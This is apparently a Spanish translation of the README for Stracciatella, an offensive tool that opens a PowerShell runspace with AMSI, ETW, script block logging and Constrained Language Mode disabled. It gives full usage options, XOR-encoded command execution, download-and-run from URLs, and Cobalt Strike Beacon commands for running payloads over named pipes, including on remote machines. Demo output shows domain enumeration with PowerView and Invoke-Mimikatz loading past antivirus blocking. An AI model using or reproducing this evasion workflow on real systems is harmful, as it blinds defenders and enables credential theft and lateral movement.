
Espacio de ejecución de PowerShell seguro para OpSec desde C# (también conocido como SharpPick) con AMSI, Modo de Lenguaje Restringido y Registro de Bloques de Script deshabilitados al inicio
Espacio de ejecución de Powershell desde C# (técnica SharpPick) con AMSI, ETW y registro de bloques de script deshabilitados para tu placer.
Hoy en día, cuando Powershell ha sido severamente instrumentado mediante el uso de técnicas como:
Los atacantes avanzados deben encontrar formas de eludir estos esfuerzos para poder llevar a cabo ejercicios sofisticados de simulación adversarial. Para ayudar en estos esfuerzos, se creó el siguiente proyecto.
Este programa se basa en saltos de técnicas específicas incluidas en:
Que a su vez se basaron en las siguientes investigaciones:
La idea de SharpPick, es decir, lanzar scripts de powershell desde un ensamblado C# mediante Runspaces, tampoco es nueva y fue implementada por primera vez por Lee Christensen (@tifkin_) en su:
Además, el código fuente toma prestada la implementación de CustomPSHost de Lee.
Este proyecto hereda de las investigaciones anteriores y de la gran comunidad de seguridad para proporcionar un entorno Powershell casi efectivo con defensas deshabilitadas al inicio.
Ahora se compila fácilmente con .NET 4.0, mientras que si se compila con .NET Framework 4.7.1+ se incluye una funcionalidad adicional que permite descargar las DLL que constituyen los artefactos de omisión de CLM e intenta eliminarlas después (que apenas funciona, para ser honesto).
El mejor rendimiento se obtiene con Stracciatella compilado con .NET 4.0.
Hay varias opciones disponibles:
PS D:\> Stracciatella -h
:: Stracciatella - Espacio de ejecución de Powershell con AMSI, ETW y registro de bloques de script deshabilitados.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Uso: stracciatella.exe [opciones] [comando]
-s <ruta>, --script <ruta> - Ruta al archivo que contiene el script de Powershell a ejecutar. Si no se dan opciones, entrará
en un bucle de pseudo-shell. También puede ser una URL HTTP(S) para descargar y ejecutar el script de powershell.
-v, --verbose - Muestra información detallada
-n, --nocleanup - No eliminar los residuos de desactivación de CLM (archivos DLL en TEMP y claves de registro COM).
Por defecto, siempre se eliminarán.
-C, --leaveclm - No intentar deshabilitar CLM. Más sigiloso. Evitará dejar artefactos de desactivación de CLM sin eliminar.
-f, --force - Proceder con la ejecución incluso si las defensas de Powershell no se deshabilitaron.
Por defecto, abortamos en caso de fallo.
-c, --command - Ejecuta los comandos especificados. Puedes usar -c o añadir comandos después de los
parámetros de stracciatella: cmd> straciatella ipconfig /all
Si se dan parámetros de comando y script, ejecuta el comando después de ejecutar el script.
-x <clave>, --xor <clave> - Considerar la entrada como codificada XOR, donde <clave> es una clave de un byte en decimal
(prefijo con 0x para hexadecimal)
-p <nombre>, --pipe <nombre> - Leer comandos de powershell desde una tubería con nombre especificada. El comando debe ir precedido de 4 bytes de
su longitud codificada en little-endian (notación Longitud-Valor).
-t <milisegundos>, --timeout <milisegundos>
- Especifica el tiempo de espera para la operación de lectura de la tubería (en milisegundos). Predeterminado: 60 seg. 0 - infinito.
-e, --cmdalsoencoded - Considerar que el comando de entrada (especificado en '--command') también está codificado.
Decodifica el comando de entrada después de decodificar y ejecutar el archivo de script de entrada.
Por defecto, solo decodificamos el archivo de entrada y consideramos el comando dado en texto plano.
El programa acepta el comando y la ruta del archivo de script como entrada. Ambos son opcionales; si no se da ninguno, se iniciará una pseudo-shell. Tanto el comando como el script pueden codificarse adicionalmente usando XOR de un solo byte (producirá salida codificada en Base64) para una mejor experiencia OpSec.
Aquí hay un par de ejemplos que presentan casos de uso:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Espacio de ejecución de Powershell con AMSI, ETW y registro de bloques de script deshabilitados.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Versión de Powershell: 5.1
[.] Modo de lenguaje: FullLanguage
[+] No es necesario deshabilitar el Modo de Lenguaje Restringido. Ya está en FullLanguage.
[+] Registro de bloques de script deshabilitado.
[+] AMSI deshabilitado.
[+] ETW deshabilitado.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
En primer lugar, para preparar las declaraciones codificadas podemos usar el script encoder.py incluido, que se puede usar de la siguiente manera:
PS D:\> python encoder.py -h
uso: encoder.py [opciones] <comando|archivo>
argumentos posicionales:
command Especifica un comando o la ruta del archivo de script para codificar
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-x KEY, --xor KEY Especifica la clave de codificación XOR para comando/archivo (un byte)
-o PATH, --output PATH
(opcional) Archivo de salida. Si no se da, se mostrará la salida en stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"¡Funciona como un encanto!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Luego alimentamos la salida de encoder.py como entrada siendo un comando codificado para Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Espacio de ejecución de Powershell con AMSI, ETW y registro de bloques de script deshabilitados.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Se cargará el archivo de script: '.\Test2.ps1'
[+] AMSI deshabilitado.
[+] ETW deshabilitado.
[+] Registro de bloques de script deshabilitado.
[.] Modo de lenguaje: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "¡Funciona como un encanto!" ; $ExecutionContext.SessionState.LanguageMode
[+] ¡Sí, realmente funcionó.
¡Funciona como un encanto!
FullLanguage
Mientras que:
Command se construyó con los siguientes comandos: Base64Encode(XorEncode("Write-Host \"¡Funciona como un encanto!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - contenía: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] ¡Sí, realmente funcionó.\"", 0x31)))Stracciatella viene con un script de Aggressor que, cuando se carga, expone el comando stracciatella en la consola de Beacon. El uso es bastante similar a powerpick (importando previamente scripts de powershell mediante stracciatella-import). El parámetro de entrada se codificará XOR con una clave aleatoria y se pasará a través de una tubería con nombre aleatorio al espacio de ejecución de Stracciatella.
Los siguientes comandos de Cobalt Strike están disponibles:
Una de las estrategias para trabajar con Stracciatella podría ser configurar un tiempo de espera de lectura de tubería lo suficientemente largo (1), lanzarlo en una máquina remota (2) teniendo así opción de movimiento lateral sobre tubería con nombre con un poco de ayuda de Stracciatella.
La ventaja sobre powerpick es que Stracciatella no parchea AMSI.dll de la misma manera que Powerpick (parche de AmsiScanBuffer), generando potencialmente menos ruido forense visto por EDR que buscan parches en memoria. Además, Stracciatella eventualmente podrá eludir de manera estable el Modo de Lenguaje Restringido que actualmente no es posible con powerpick:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Finalmente, Stracciatella puede ser fácilmente usado por otras herramientas/C2 que no ofrecen funcionalidad para evadir las protecciones de powershell.
Cuando stracciatella devuelve el error 2 (ERROR_FILE_NOT_FOUND), es porque Stracciatella agotó el tiempo de espera mientras esperaba internamente que se escribieran datos en su tubería con nombre.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Esto se puede solucionar ajustando el parámetro de tiempo de espera de Stracciatella usando:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
El script de Aggressor asociado aprovecha las rutinas internas de Beacon para escribir en una tubería con nombre aleatorio, que en el otro extremo será escuchada por la lógica de Stracciatella. El extremo receptor esperará datos entrantes durante un período de tiempo (parámetro --timeout en las opciones de Stracciatella, predeterminado 60 segundos) y si no hay datos, se agotará el tiempo y abortará suavemente. De lo contrario, los comandos recibidos se decodificarán y ejecutarán como de costumbre.
A veces tenemos scripts de Powershell que no exponen ninguna función ni cargan módulos .NET de forma reflectiva que nos gustaría invocar desde un runtime de Powershell. Para facilitar ese caso de uso, se puede usar el comando stracciatella-script <rutascript> <comando> en Beacon. Lee el archivo de script de powershell especificado y agrega el <comando> dado separado por punto y coma a ese script.
El script de Aggressor (CNA) de Stracciatella detecta si BOF.NET está cargado y, de ser así, expone un comando:
bofnet_loadstracciatella
Que emite bofnet_load stracciatella.exe. Además, Stracciatella se ejecutará a través de bofnet_jobassembly en lugar del execute-assembly integrado de Cobalt.
Ese comportamiento es ajustable cambiando la variable global en el script stracciatella.cna:
#
# Si hay BOF.NET cargado en Cobalt Strike, prefiere el comando `bofnet_jobassembly` sobre `execute-assembly`.
# Esto es útil cuando queremos cambiar nuestras tácticas a ejecución en línea/en proceso mediante BOF.NET en lugar de fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Mediante el uso de reflexión, como descubrió Matt Graeber, pero el enfoque de este programa fue ligeramente modificado. En lugar de referirse a los símbolos por su nombre, como "amsiInitFailed", los buscamos recorriendo cada Ensamblado, Método, Tipo y Campo disponible para ser obtenido reflectivamente. Luego deshabilitamos AMSI mediante la manipulación de variables NonPublic & Static en el ensamblado Management.Automation. Lo mismo ocurre con el registro de bloques de script, mientras que en este caso algunas ideas se basaron en las investigaciones de Ryan Cobb (@cobbr).
De hecho, Stracciatella utiliza la misma implementación que ya se cubrió en los archivos Disable-*.ps1 mencionados anteriormente.
Además, no intentamos parchear amsi.dll, eso es un poco demasiado ruidoso y puede ser monitoreado de cerca en un futuro cercano por EDR/HIPS/AV. Corromper la integridad de las bibliotecas del sistema definitivamente pierde terreno en comparación con la alteración de variables reflectivas.
Invoke-Mimikatz, ¿de acuerdo?Por supuesto, aquí lo tienes:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
Este script contiene contenido malicioso y ha sido bloqueado por tu software antivirus.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
Este script contiene contenido malicioso y ha sido bloqueado por tu software antivirus.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Espacio de ejecución de Powershell con AMSI y registro de bloques de script deshabilitados.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] Parece que no se dio ninguna ruta de script.
[+] AMSI deshabilitado.
[+] ETW deshabilitado.
[+] Registro de bloques de script deshabilitado.
[.] Modo de lenguaje: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
¡Adiós!
Actualmente, la forma en que Stracciatella proporciona el espacio de ejecución para comandos de powershell no es la más sigilosa. Básicamente creamos un espacio de ejecución de Powershell, que carga el ensamblado .NET correspondiente. Esto podría considerarse una bandera de que el proceso de stracciatella es algo sospechoso.
Este y otros proyectos son el resultado de noches sin dormir y mucho trabajo duro. Si te gusta lo que hago y aprecias que siempre devuelvo algo a la comunidad, Considera invitarme un café (o mejor una cerveza) solo para decir ¡gracias! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Comando de Cobalt Strike | Descripción |
|---|
stracciatella [-v] <comando> | ejecuta los comandos dados |
stracciatella-remote [-v] <máquina> <nombretubería> <comando> | ejecuta los comandos dados en una máquina remota en la tubería especificada |
stracciatella-import <rutascript> | importa un script de powershell para usar con Stracciatella |
stracciatella-script <rutascript> <comando> | precarga el comando de Powershell con un script de Powershell (ps1) específico (combinación de stracciatella-import y stracciatella en una sola operación) |
stracciatella-clear | borra el script importado en ese Beacon |
stracciatella-timeout <milisegundos> | ajusta el tiempo de espera predeterminado de lectura de tubería con nombre |
bofnet_loadstracciatella | carga Stracciatella.exe en BOF.NET (si se usa) |
bofnet_stracciatella <comando> | (no bloqueante) Ejecuta comandos de Powershell en un espacio de ejecución seguro de Stracciatella mediante bofnet_jobassembly de BOF.NET |
bofnet_executestracciatella <comando> | (bloqueante) Ejecuta comandos de Powershell en un espacio de ejecución seguro de Stracciatella mediante bofnet_executeassembly de BOF.NET |
bofnet_stracciatella_script <rutascript> <comando> | Precarga un script de Powershell especificado y lanza el comando dado con parámetros (mediante BOF.NET) |